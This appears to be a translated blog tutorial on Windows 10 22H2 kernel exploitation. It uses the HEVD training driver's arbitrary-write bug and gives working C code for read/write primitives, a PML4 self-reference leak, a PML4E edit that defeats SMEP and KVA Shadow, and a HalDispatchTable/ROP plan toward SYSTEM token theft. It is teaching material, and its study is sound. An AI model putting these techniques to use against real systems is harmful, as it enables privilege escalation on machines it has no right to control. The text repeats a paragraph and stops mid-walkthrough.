介绍

在本文中,我将分享我自学 Windows 内核利用过程中获得的见解。

本文涵盖的主题包括:

绕过 Windows 10 中实现的各种安全功能的机制和技术,作为针对内核漏洞的对策

我针对最新版本的 Windows 10(22H2)上的HackSys 极易受攻击的驱动程序 (HEVD)创建的漏洞的说明

漏洞概述:

  • 利用任意内存覆盖漏洞构建读/写原语

  • 绕过最新 Windows 10 版本(22H2)上的安全功能(SMEP、KVA Shadow、PML4 自参考条目随机化)

  • 通过执行窃取令牌的 shellcode 将权限提升至 SYSTEM

HackSys 极度易受攻击的驱动程序 (HEVD)

HEVD 是一个故意存在漏洞的 Windows 设备驱动程序,是为了安全教育目的而创建的。https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

HEVD 易于安装,并提供了许多现成的参考漏洞。尽管内核漏洞利用的性质很复杂,但 HEVD 为初学者提供了一个易于理解的起点。

HEVD 实现了各种类型的漏洞,但在本文中,我将重点关注任意内存覆盖漏洞。

1. 任意覆盖

HEVD 有一个简单的任意内存覆盖漏洞。

以下是存在此漏洞的源代码:

DbgPrint("[+] Triggering Arbitrary Write\n"); // // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability// because the developer is writing the value pointed by 'What' to memory location  // pointed by 'Where' without properly validating if the values pointed by 'Where'// and 'What' resides in User mode// *(Where) = *(What);

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b02b6ea/Driver/HEVD/Windows/ArbitraryWrite.c#L103-L112

What和变量Where都是用户可控制的,从而导致了“写入什么-在哪里”的条件。

此外,没有验证来确保地址位于内核空间中Where并What驻留在内核空间中。

因此,利用此漏洞可以让攻击者将任意值写入内核空间中的任意地址。

触发漏洞

下面的 C 代码定义了“ArbitraryWrite”函数,利用该漏洞执行任意内存写入:

#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;  PULONG_PTR Where;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE; BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what){  printf("[!] Writing: *(%p) = *(%p)\n", where, what);   PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));  payload->What = (PULONG_PTR)what;    payload->Where = (PULONG_PTR)where;     DWORD lpBytesReturned;  return DeviceIoControl(    hHevd,    HEVD_IOCTL_ARBITRARY_WRITE,    payload,    sizeof(payload),    NULL,    0,    &lpBytesReturned,    NULL    );}

执行以下代码会导致设备驱动程序覆盖任何指定地址的内存:

const  char hello[] = "Hello, world!" ; const  char aaaaa[] = "AAAAAAAAAAAAA" ;  ArbitraryWrite(hHevd, hello, aaaaa) printf ( "hello: %s\n" , hello);
[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18) hello: AAAAAAAAorld!

我们可以看到 的前 hello[] 8 个字节已被 的前 aaaaa[] 8 个字节覆盖。

由于驱动程序在内核模式下运行,因此通过指定内 Where 核空间地址,攻击者可以破坏内核空间中的数据。

2.任意读取

此漏洞是任意内存覆盖,也是任意内存读取漏洞。

与前面的示例相反,我们设置为 What 内核空间地址和 Where 用户空间地址。

这将导致内核空间数据被写入用户空间。

此漏洞允许攻击者通过写入 Where 地址从内核空间泄漏数据。

下面的代码实现了“ArbitraryRead”函数,该函数使用 ArbitraryWrite 执行任意内存读取:

PVOID ArbitraryRead(HANDLE hHevd, PVOID addr) {  PVOID readBuf;  ArbitraryWrite(hHevd, &readBuf, addr);  return readBuf;}

此函数从指定地址读取数据并返回该值,允许内核空间中的数据泄漏到用户模式。

在后面的“漏洞利用开发”部分中,我将使用这两个函数(ArbitraryWrite 和 ArbitraryRead)来尝试在内核模式下执行 shellcode。

接下来,让我们考虑一下 Windows 安全功能,这些功能将成为开发此漏洞的障碍。

Windows 10 中的安全功能

本文将讨论针对 Windows 10 版本 22H2 的内核漏洞的开发。

操作系统版本

  • Windows 10 22H2(内部版本 19045.3930)

操作系统设置

  • KVA Shadow:已启用

  • VBS/HVCI:已禁用VBS/HVCI: Disabled

流程设置

  • 完整性等级:中等

检查 KVA Shadow设置

使用易受 Meltdown 攻击的 CPU 时,KVA Shadow 默认启用。可以使用名为SpecuCheck的工具https://github.com/ionescu007/SpecuCheck

-  检查当前设置。以下是启用时的输出:

> SpecuCheck.exeSpecuCheck v1.1.1    --   Copyright(c) 2018 Alex Ionescu  https://ionescu007.github.io/SpecuCheck/  --   @aionescu-------------------------------------------------------- Mitigations for CVE-2017-5754 [rogue data cache load]  --------------------------------------------------------[-] Kernel VA Shadowing Enabled:                    yes ├───> Unnecessary due lack of CPU vulnerability:    no   ├───> With User Pages Marked Global:                no ├───> With PCID Support:                           yes └───> With PCID Flushing Optimization (INVPCID):   yes ...

CR4 的第 20 位设置为 1,表示 SMEP 已启用。

有一种惯例是从“0”开始计数 CPU 位,这在从“1”开始计数时会引起混淆。一开始这让我很困惑。

接下来是页表项值的输出:

0: kd> .formats cr4Evaluate expression:  Hex:     00000000`00370e78  Decimal: 3608184  Decimal (unsigned) : 3608184  Octal:   0000000000000015607170  Binary:  00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000  Chars:   .....7.x  Time:    Thu Feb 12 03:16:24 1970  Float:   low 5.05614e-039 high 0  Double:  1.78268e-317

CR4 的第 20 位设置为 1,表示 SMEP 已启用。

有一种惯例是从“0”开始计数 CPU 位,这在从“1”开始计数时会引起混淆。一开始这让我很困惑。

接下来是页表项值的输出:

1: kd> !pte rip                                             VA fffff8040a105f1aPXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F0080    PDE at FFFFFDFEFE010280    PTE at FFFFFDFC02050828contains 0000000004909063  contains 000000000490A063  contains 0A000000065A2863  contains 0000000238F4D821pfn 4909      ---DA--KWEV  pfn 490a      ---DA--KWEV  pfn 65a2      ---DA--KWEV  pfn 238f4d    ----A--KREV

执行页表项被分配为内核模式代码。WinDbg 解析它并用 指示它K。

如上图,当Windows运行在内核模式时,SMEP被设置为启用,并且内核分配的代码被设置为内核模式。

另一方面,正常进程分配的代码被设置为用户模式(U)。如果在启用 SMEP 的情况下执行该用户模式代码,则 CPU 会产生页面错误并立即触发蓝屏死机 (BSOD)。

该机制可以阻止在内核中执行用户模式代码的攻击。

绕过SMEP的一般策略

可以考虑多种方法来绕过SMEP:

  • 在执行用户模式代码之前通过修改 CR4 寄存器值来禁用 SMEP

  • 在内核空间中分配一个可执行区域,并将任意代码写入内核模式代码

  • 修改用户态代码的页表项,改为内核态代码

2. KASLR(内核地址空间布局随机化)

KASLR 是 Windows 8.1 中引入的一项功能,可以随机化内核地址空间的布局。

它使攻击者很难预测内核空间中的地址。它是用户空间中 ASLR 的内核空间版本。

KASLR 机制

当启用 KASLR 时,内核的基地址在操作系统启动时随机确定。

使用 WinDbg,我们可以观察到内核基地址随着每次系统重启而发生变化。

1: kd> ? ntEvaluate expression: -8795109457920 = fffff800`3aa00000
0: kd> ? ntEvaluate expression: -8785399644160 = fffff802`7d600000

绕过 KASLR 的一般策略

在环境中,可以使用EnumDeviceDrivers或NtQuerySystemInformationIntegrity Level: Medium等 API 获取内核基址。在 Windows 上,KASLR 作为针对或更高级别的进程的安全功能并不是很有效。Integrity Level: Medium

3. PML4 自参考条目随机化

PML4 自引用条目随机化是作为 Windows 10 版本 1607 中 KASLR 的强化补丁引入的,它随机确定 PML4 自引用条目以增强安全性。

在添加此功能之前,PML4 自引用条目是一个固定值。因此,即使启用了 KASLR,访问页表条目的虚拟地址也可能被猜测到。

PML4 自参考条目随机化机制

在操作系统启动时,PML4 自引用条目随机化会在 范围内随机确定 PML4 自引用条目0x100-0x1FF

使用 WinDbg 检查,我们可以看到每次系统重启时页表条目的虚拟地址都会发生变化。

0: kd> !pte 0x0                                           VA 0000000000000000PXE at FFFFEDF6FB7DB000    PPE at FFFFEDF6FB600000    PDE at FFFFEDF6C0000000    PTE at FFFFED8000000000  contains 8A0000004D50E867  contains 0000000000000000 pfn 4d50e     ---DA--UW-V  contains 0000000000000000not valid
0: kd> !pte 0x0                                           VA 0000000000000000PXE at FFFFFDFEFF7FB000    PPE at FFFFFDFEFF600000    PDE at FFFFFDFEC0000000    PTE at FFFFFD8000000000contains 8A00000004FEE867  contains 0000000000000000pfn 4fee      ---DA--UW-V  contains 0000000000000000  not valid

在引入该功能之前,PML4 自引用条目固定为0x1ED,这意味着 PML4 的虚拟地址始终为0xFFFFF6FB7DBED000。

如果你想要进一步了解这里的分页机制,我推荐你阅读Core Security的这篇文章。

绕过 PML4 自参考条目随机化的一般策略

内核需要能够重写页表项以进行内存管理,因此必须有一种机制来获取页表项的虚拟地址。在 Windows 中,PML4 自引用项存储在内核中的特定地址(nt!MiGetPteAddress + 0x13),内核使用此值来计算页表项的虚拟地址。

该地址的偏移量是已知的,因此如果可以从内核空间泄露数据,则可以读出该值以绕过 PML4 自引用条目随机化。

4. kCFG(内核控制流防护)

kCFG 是 Windows 10 版本 1703 中引入的一项安全功能,可通过覆盖函数指针来缓解控制流劫持。它仅在启用 VBS/HVCI 时才完全发挥作用,但即使禁用,部分保护(内核模式地址检查)仍有效。

kCFG 和内核模式地址检查机制

kCFG 在间接函数调用期间检查跳转目标地址是否为可信地址。这不仅使跳转到 shellcode 变得困难,而且使跳转到 ROP 小工具也变得困难。

但是,当 VBS/HVCI 被禁用时,Windows 仅检查调用目标地址是否在内核模式地址范围内(最高位为 1)。

绕过内核模式地址检查的一般策略

在这里我们考虑绕过技术,假设 VBS/HVCI 被禁用(仅内核模式地址检查)。

这种情况下,即使覆盖函数指针,也不可能直接跳转到用户模式代码。因此,需要结合ROP等在内核空间内重用代码的技术。

具体来说,绕过技术是在内核模式代码中找到跳转到用户模式代码的 ROP 小工具,然后通过该 ROP 小工具跳转到用户模式代码。

5. KVA Shadow(内核虚拟地址 Shadow

KVA Shadow 是2018 年 3 月在 Windows 10 中实施的针对 Meltdown 漏洞的缓解措施。它在 Linux 上被称为 KPTI。

虽然最初是为了缓解 Meltdown 而提出的功能,但它还具有阻止在内核模式下执行用户模式代码的次要作用,类似于 SMEP。

KVA Shadow机制

通常情况下,每个进程只准备一个用于分页的 PML4 表。但是在启用了 KVA Shadow 的环境中,会准备两个 PML4 表:一个“用户模式的 PML4 表”和一个“内核模式的 PML4 表”。

这些PML4表映射不同的内容,每个模式不需要的内容则不映射。OS在上下文切换时,根据上下文在两类PML4表之间切换,从而加强了用户模式和内核模式内存的分离。

我们用WinDbg进行内核调试,从内核模式检查用户模式代码的页表项。

禁用 KVA Shadow 时:

1: kd> !pte 000001e59fae0003                                           VA 000001e59fae0003PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603CB0    PDE at FFFFFDFEC07967E8    PTE at FFFFFD80F2CFD700contains 0A000001B6507867  contains 0A0000020A908867  contains 0A0000020A609867  contains 00000001E2181867pfn 1b6507    ---DA--UWEV  pfn 20a908    ---DA--UWEV  pfn 20a609    ---DA--UWEV  pfn 1e2181    ---DA--UWEV

启用 KVA Shadow 时:

0: kd> !pte 000001e59fae0003                                           VA 000001d9a5760003PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603B30    PDE at FFFFFDFEC0766958    PTE at FFFFFD80ECD2BB00contains 8A000002295B2867  contains 0A000002293B3867  contains 0A000001F4FB4867  contains 00000001F8FF4867pfn 2295b2    ---DA--UW-V  pfn 2293b3    ---DA--UWEV  pfn 1f4fb4    ---DA--UWEV  pfn 1f8ff4    ---DA--UWEV

当 KVA Shadow 启用时,我们可以看到 PML4E 是不可执行的 ( E → - )。顺便说一句,PML4E 在 Windows 世界中被称为 PXE。

如上图所示,当启用 KVA Shadow 时,用户空间地址范围在内核模式的 PML4 表中映射为不可执行。

相反,在用户模式的 PML4 表中,根本没有映射内核空间地址范围。

此机制是通过强制将页表条目的 XD (NX) 位设置为 1 来实现的。KVA Shadow 也称为软件 SMEP,因为它的工作原理类似于 SMEP,可以防止在内核模式下执行用户模式代码。

绕过KVA阴影的一般策略

  • 可以考虑多种方法来绕过 KVA Shadow:

  • 在执行用户模式代码之前,通过修改 CR3 寄存器值,切换到用户模式的 PML4 表

  • 在内核空间中分配一个可执行区域,并将任意代码编写为内核模式代码

  • 修改内核模式的 PML4 表中的条目,并将其更改为可执行文件

漏洞利用开发

在开始漏洞利用开发之前,让我们首先为漏洞利用制定一个整体策略。

目标与策略

在这里,我将以权限升级为目标进行漏洞利用开发。

目标:通过执行令牌窃取 shellcode 将权限升级为 SYSTEM 权限

为了实现这个目标,我们需要通过利用 ArbitraryWrite 和 ArbitraryRead 绕过前面介绍的所有安全功能。

首先,让我们将漏洞利用分解为步骤并制定策略。

策略 1.绕过 PML4 自引用条目随机化

  • 前提 1:内核信息可以使用 ArbitraryRead 读取

  • 前提 2:PML4 自引用条目存储在内核中

→ 通过从内核信息中泄漏 PML4 自引用条目来绕过

策略 2.旁路 SMEP 和 KVA Shadow

  • 前提 1:内核信息可以使用 ArbitraryWrite 进行修改

  • 前提 2:使用泄露的 Strategy 1 PML4 自引用条目,可以计算出 shellcode 的 PML4 条目的虚拟地址

→ 通过指定 PML4 条目的虚拟地址并使用 ArbitraryWrite 将 PML4 条目修改为 XD bit = 0 和 U/S bit = 0

策略 3.绕过内核模式地址检查

  • 前提 1:有一种已知的技术可以通过覆盖内核内部的函数指针来对任意地址进行间接函数调用

  • 前提 2:内核内部有一个已知的 ROP 小工具,可以跳转到存储在可控寄存器中的地址

→ 通过用“跳转到存储在可控寄存器中的地址的 ROP 小工具”的地址覆盖函数指针并指定该寄存器中用户模式代码的地址来绕过

需要一些额外的处理,例如准备令牌窃取 shellcode、触发函数指针调用以及将内核状态恢复到原始状态以防止蓝屏死机。但总的来说,通过上述策略可以实现目标。

现在,基于上述策略,让我们实际执行漏洞开发。

1. 绕过 PML4 自引用条目随机化

在这里,我们的目标是使用 ArbitraryRead 从内核内部泄漏 PML4 自引用条目。

分析 MiGetPteAddress

内核需要能够知道页表条目的虚拟地址,以便进行内存管理。为此目的准备的函数是名为 MiGetPteAddress 的内核模式函数。

使用 WinDbg 反汇编此函数显示以下代码:

0: kd> u nt!MiGetPteAddressnt!MiGetPteAddress:fffff807`8206b560 48c1e909        shr     rcx,9fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h  fffff807`8206b56e 4823c8          and     rcx,raxfffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000hfffff807`8206b57b 4803c1          add     rax,rcxfffff807`8206b57e c3              ret

此代码检索“作为参数传递的虚拟地址”的“PTE(页表条目)的虚拟地址”。此代码中的部分 0FFFFEC0000000000h 包括 PML4 自引用条目的值。

计算页表条目的虚拟地址

在这里,我们以任意地址 0xFFFFF0123456789A 为例,在 Python 中模拟上述代码。

In [17]: hex(((0xFFFFF0123456789A >> 9) & 0x7FFFFFFFF8) + 0xFFFFEC0000000000)Out[17]: '0xffffec78091a2b38'

如果我们分解并比较此计算前后的虚拟地址:

  • 原件(计算前):0xFFFFF0123456789A

1111111111111111 (0xffff) - Ignored111100000        (0x01e0) - PML4 index  001001000        (0x0048) - PDPT index110100010        (0x01a2) - PDT index101100111        (0x0167) - PT index100010011010     (0x089a) - Physical address offset
  • PTE(计算后):0xFFFFEC78091A2B38

1111111111111111 (0xffff) - Ignored111011000        (0x01d8) - PML4 index111100000        (0x01e0) - PDPT index  001001000        (0x0048) - PDT index110100010        (0x01a2) - PT index101100111000     (0x0b38) - Physical address offset

在计算之前和之后,该值将移动到较低的页面结构,例如 PML4 索引→ PDPT 索引、PDPT 索引→ PDT 索引、PDT 索引→ PT 索引。此外,计算后的 PML4 索引包含原始虚拟地址中不存在的值 ( 0x01d8 )。

此值 ( 0x01d8 ) 是 PML4 自引用条目。

如果您知道 PML4 自引用条目的值,则可以通过重复相同的计算以相同的方式计算 PDTE、PDPTE 和 PML4E 的虚拟地址。

  • PDTE: 0xFFFFEC763C048D10

1111111111111111 (0xffff) - Ignored  111011000        (0x01d8) - PML4 index111011000        (0x01d8) - PDPT index111100000        (0x01e0) - PDT index001001000        (0x0048) - PT index  110100010000     (0x0d10) - Physical address offset
  • PDPTE: 0xFFFFEC763B1E0240

1111111111111111 (0xffff) - Ignored111011000        (0x01d8) - PML4 index111011000        (0x01d8) - PDPT index  111011000        (0x01d8) - PDT index 111100000        (0x01e0) - PT index001001000000     (0x0240) - Physical address offset
  • PML4E: 0xFFFFEC763B1D8F00

1111111111111111 (0xffff) - Ignored111011000        (0x01d8) - PML4 index111011000        (0x01d8) - PDPT index111011000        (0x01d8) - PDT index  111011000        (0x01d8) - PT index111100000000     (0x0f00) - Physical address offset

泄漏 PML4 自引用条目

本部分将探讨如何从 MiGetPteAddress 代码中提取值。

该部件 0FFFFEC0000000000h 与 MiGetPteAddress 地址的 0x13 字节偏移量。

1: kd> dq nt!MiGetPteAddress+0x13 L1fffff802`45c6b573  ffffec00`00000000

此位置与内核基址的 0x26b573 字节偏移量相同。

1: kd> ? nt!MiGetPteAddress+0x13 - ntEvaluate expression: 2536819 = 00000000`0026b573

我们指定此偏移量,并使用 ArbitraryRead 从内核空间泄漏该值。

const size_t MiGetPteAddress13_Offset = 0x26b573;PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);  printf("[*] Leaked PTE virtual address: %p\n", pteVirtualAddress);

并使用以下代码从泄漏的值中提取 PML4 自引用条目:

unsigned int ExtractPml4Index(PVOID address){  return ((uintptr_t)address >> 39) & 0x1ff;  }
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);printf("[*] Extracted PML4 Self Reference Entry index: %03x\n", pml4SelfRef_Index);

运行代码,我们可以泄漏 PML4 自引用条目,如下所示:

[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)[*] Leaked PTE virtual address: FFFFEC0000000000  [*] Extracted PML4 Self Reference Entry index: 1D8

有了这个,我们已将绕过 PML4 自引用条目随机化的处理整合到漏洞利用中。

2. 绕过 SMEP 和 KVA Shadow

现在我们已经泄露了 PML4 自引用条目,接下来我们的目标是通过修改 shellcode 的 PML4E 来绕过 SMEP 和 KVA Shadow。

虚拟 Shellcode

将虚拟的无所事事的 shellcode ( nop/nop/nop/int3 ) 复制到可执行内存区域。

PVOID AllocExecutableCode(PVOID rawCode, size_t size){  PVOID executableCode = VirtualAlloc(    NULL,      size,    MEM_COMMIT | MEM_RESERVE,    PAGE_EXECUTE_READWRITE    );  RtlMoveMemory(executableCode, rawCode, size);  return executableCode;}
unsigned char rawShellcode[] = {  0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3  };PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));printf("[*] Executable shellcode: %p\n", shellcode);

使用 WinDbg 检查在内核模式下分配的 shellcode 的 PML4E。

[*] Executable shellcode: 0000024BBD5D0000
0: kd> db 0000024BBD5D0000 L40000024b`bd5d0000  90 90 90 cc                                      ....
0: kd> !pte 0000024BBD5D0000                                             VA 0000024bbd5d0000PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80contains 8A00000141D01867  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867pfn 141d01    ---DA--UW-V  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

目前,shellcode 的 PML4E(虚拟地址:0xFFFFDB6DB6DB6020 )已被 KVA Shadow 更改为不可执行 ( - )。而且因为它是用户模式 ( U ) 代码,所以由于 SMEP,它也是不可执行的。

我们将此 shellcode 的 PML4E 修改为可执行 ( - → E ) 和内核模式 ( U → K ) 以绕过 KVA Shadow 和 SMEP。

计算 shellcode 的 PML4E 虚拟地址

PML4E可以用ArbitraryWrite进行修改,但要做到这一点,我们首先需要知道PML4E的虚拟地址。

PML4E虚拟地址的计算代码如下:

PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index){  uintptr_t address = 0xffff;  address = (address << 0x9) | pml4SelfRefIndex; // PML4 Index  address = (address << 0x9) | pml4SelfRefIndex; // PDPT Index  address = (address << 0x9) | pml4SelfRefIndex; // PDT Index  address = (address << 0x9) | pml4SelfRefIndex; // PT Index  address = (address << 0xC) | pml4Index * 8;    // Physical Address Offset  return (PVOID)address;}

使用泄露的 PML4 自引用条目值,计算 PML4E 的虚拟地址。

unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);printf("[*] Extracted shellcode's PML4 index: %03x\n", pml4Shellcode_Index);
PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);printf("[*] Calculated virtual address for shellcode's PML4 entry: %p\n", pml4Shellcode_VirtualAddress);

我们可以确认它生成的虚拟地址 ( 0xFFFFDB6DB6DB6020 ) 与使用 WinDbg 检查时相同。

[*] Extracted shellcode's PML4 index: 004[*] Calculated virtual address for shellcode's PML4 entry: FFFFDB6DB6DB6020

泄漏 shellcode 的 PML4E

使用上面的虚拟地址,使用 ArbitraryRead 泄漏 PML4E 值。

uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);printf("[*] Leaked shellcode's PML4 entry: %p\n", (PVOID)originalPml4Shellcode_Entry);
[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)[*] Leaked shellcode's PML4 entry: 8A00000141D01867

从执行结果中,我们可以看到该值 8A00000141D01867 设置为 PML4E。

为了理解这个值的含义,我编写了一个 Python 脚本 https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/util/parse_pml4e.py 来解析 PML4E 值。让我们用这个脚本解析 shellcode 的 PML4E。

执行结果如下:

> python parse_pml4e.py 8A00000141D01867PML4E: 1000101000000000000000000000000101000001110100000001100001100111Bit  0: Present                        - SetBit  1: Read/Write                     - SetBit  2: User/Supervisor                - SetBit  3: Page-Level Write-Through       - Not Set Bit  4: Page-Level Cache Disable       - Not SetBit  5: Accessed                       - SetBit 63: Execute Disable                - SetPhysical Frame Number (PFN): 0x141d01

从这个结果中,我们可以看到,通过将位 2 和 63 清除为 0,我们可以将其更改为内核模式 ( K ) 和可执行 ( E ) 状态。

修改 shellcode 的 PML4E

我实现了一个清除上述 2 位的函数 (ModifyPml4EntryForKernelMode)。

uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry){  uintptr_t modifiedPml4Entry = originalPml4Entry;  modifiedPml4Entry &= ~((uintptr_t)1 << 2);  // Clear U/S bit (Kernel Mode)  modifiedPml4Entry &= ~((uintptr_t)1 << 63); // Clear XD bit (Executable)  return modifiedPml4Entry;  }

使用 ModifyPml4EntryForKernelMode 清除位,用该值覆盖 shellcode 的 PML4E。

uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);printf("[*] Modified shellcode's PML4 entry: %p\n", (PVOID)modifiedPml4Shellcode_Entry);
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry); printf("[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n");
[*] Modified shellcode's PML4 entry: 0A00000141D01863[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)  [*] Overwrote PML4 entry to make shellcode executable in kernel mode

覆盖 PML4E 后,让我们使用 WinDbg 检查 shellcode 的 PML4E。

0: kd> !pte 0000024BBD5D0000                                           VA 0000024bbd5d0000  PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80contains 0A00000141D01863  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867pfn 141d01    ---DA--KWEV  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

shellcode 的 PML4E 已更改为可执行 ( E ) 和内核模式 ( K )。

这样,shellcode 现在可以在内核模式下执行。SMEP 和 KVA Shadow 旁路完成。

3. 绕过内核模式地址检查

既然我们已经成功地在内核模式下保护了 shellcode 可执行文件,那么接下来让我们考虑如何将 RIP 指向 shellcode。

覆盖 HalDispatchTable

在 Windows 内核中,有一个名为 HalDispatchTable 的函数指针表。覆盖此表中包含的用于劫持控制流的函数指针已成为 Windows 内核利用中的标准技术。

HalDispatchTable+0x8 通常包含指向名为 HaliQuerySystemInformation 的函数的指针。这个函数指针在一个名为 NtQueryIntervalProfile 的函数中被间接调用。

通过利用这一点并修改 HalDispatchTable+0x8 ,攻击者可以通过 NtQueryIntervalProfile 在内核模式下执行该状态来调用任意地址。

在ntoskrnl.exe中查找 ROP 小工具

然而,这一次 kCFG 的部分保护,即内核模式地址检查,是检查“间接函数调用目标是否在内核地址范围内”。因此,我们不能直接跳转到使用上述技术在用户地址范围内分配的 shellcode。

另一方面,内核内部的代码将通过内核模式的地址检查。换句话说,我们可以使用上述技术跳转到内核内部的 ROP 小工具。

从这里开始,让我们考虑一种通过内核内部的 ROP 小工具跳转到 shellcode 的方法。

Windows 内核二进制文件位于以下路径中:

C:\Windows\System32\ntoskrnl.exe

在此二进制文件上运行 rp++ 以提取 ROP 小工具。

.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt

根据结果,我们可以找到几个直接跳转到寄存器的 ROP 小工具:

0x14060daa6: jmp rax ; (1 found)
0x14045751a: jmp rsi ; (1 found)
0x14080d5db: jmp r13 ; (1 found)

劫持 RIP 的策略

通过使用如上所述的 ROP 小工具,可以将内核模式控制流传输到 shellcode。

具体步骤如下:

  1. 使用 ROP 小工具的地址覆盖 HalDispatchTable+0x8

  2. 在寄存器中设置 shellcode 的地址

  3. 触发 HalDispatchTable+0x8

如果寄存器设置的 2. 值在调用 ROP 小工具时 3. 保持不变,则内核模式控制流应传输到 shellcode。

调查可控寄存器

若要识别可从用户模式代码控制的寄存器,让我们使用 WinDbg 进行实验。

实验步骤如下:

  1. 在 NtQueryIntervalProfile 和 HaliQuerySystemInformation 上设置断点

  2. Call NtQueryIntervalProfile

  3. 当断点命中时 NtQueryIntervalProfile ,将寄存器值覆盖为任意值并继续处理

  4. 当断点命中时 HaliQuerySystemInformation ,检查中 3. 设置的寄存器值是否仍然存在

在 WinDbg 中设置断点。

1: kd> bp nt!NtQueryIntervalProfile1: kd> bp nt!HaliQuerySystemInformation

使用以下代码调用 NtQueryIntervalProfile 。

HMODULE ntdll = GetModuleHandle("ntdll");FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile"); ULONG dummy = 0;ntQueryIntervalProfileFunc(2, &dummy);

运行代码并确认它按预期中断。

Breakpoint 1 hitnt!NtQueryIntervalProfile:fffff806`08134430 48895c2408      mov     qword ptr [rsp+8],rbx

覆盖修改时似乎不影响操作的寄存器(用于参数或控件的寄存器除外)。

1: kd> r rax=41414141414141411: kd> r rbx=4242424242424242  1: kd> r rsi=43434343434343431: kd> r rdi=44444444444444441: kd> r r8=45454545454545451: kd> r r9=46464646464646461: kd> r r10=4747474747474747  1: kd> r r11=48484848484848481: kd> r r12=49494949494949491: kd> r r13=50505050505050501: kd> r r14=5151515151515151 1: kd> r r15=5252525252525252

继续处理并在 中断 HaliQuerySystemInformation 。

Breakpoint 2 hit  nt!HaliQuerySystemInformation:fffff806`08392ef0 4055            push    rbp

此时检查寄存器值,并确定哪些寄存器是可控的。

1: kd> r  rax=fffff80608392ef0 rbx=000000ae55dbfeb0 rcx=0000000000000001rdx=0000000000000018 rsi=4343434343434343 rdi=4444444444444401  rip=fffff80608392ef0 rsp=fffffd822daef428 rbp=fffffd822daef540 r8=fffffd822daef460  r9=fffffd822daef490 r10=fffff80608392ef0  r11=0000000000000000 r12=4949494949494949 r13=5050505050505050r14=5151515151515151 r15=5252525252525252iopl=0         nv up ei pl zr na po nc  cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246nt!HaliQuerySystemInformation:fffff806`08392ef0 4055            push    rbp

结果表明 rsi ,可以在用户模式下控制 、 r12 、 r13 r15 、 r14 寄存器。

在 R13 寄存器中设置值

在上述寄存器中,选择内核内存在 jmp 指令 ROP 小工具的寄存器。这次我将使用 r13 .

由于寄存器不能直接从 C 语言代码操作,因此需要用汇编语言编写在寄存器中设置值的处理。

下面是汇编语言中函数的实现,该函数旨在将第一个参数的值分配给 R13 寄存器。

BITS 64global SetR13  section .text
SetR13:    mov r13, rcx    ; Set the 1st argument to r13    ret
https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS/blob/main/shellcode/SetR13.asm

嵌入 C 源代码

在 Visual Studio 中,x64 体系结构当前不支持内联程序集 ( __asm )。因此,需要一些独创性才能在漏洞利用中调用上述函数。

使用 extern 声明和链接可能是正确的方法,但由于编译设置很麻烦,这里我们将采用将二进制代码复制到可执行区域并执行的方法。

上面的汇编代码可以用nasm组装。

nasm.exe -f bin -o .\SetR13.bin .\SetR13.asm

我编写了一个 Python 脚本,将组装的二进制文件转换为可以嵌入到 C 代码中的格式。转换后,它看起来像这样:

> python hex.py SetR13.bin    // size: 4unsigned char rawShellcode[] = {    0x49, 0x89, 0xcd, 0xc3};

在 C 源代码中嵌入 SetR13,并使用指定为参数的 shellcode 地址调用它,如下所示:

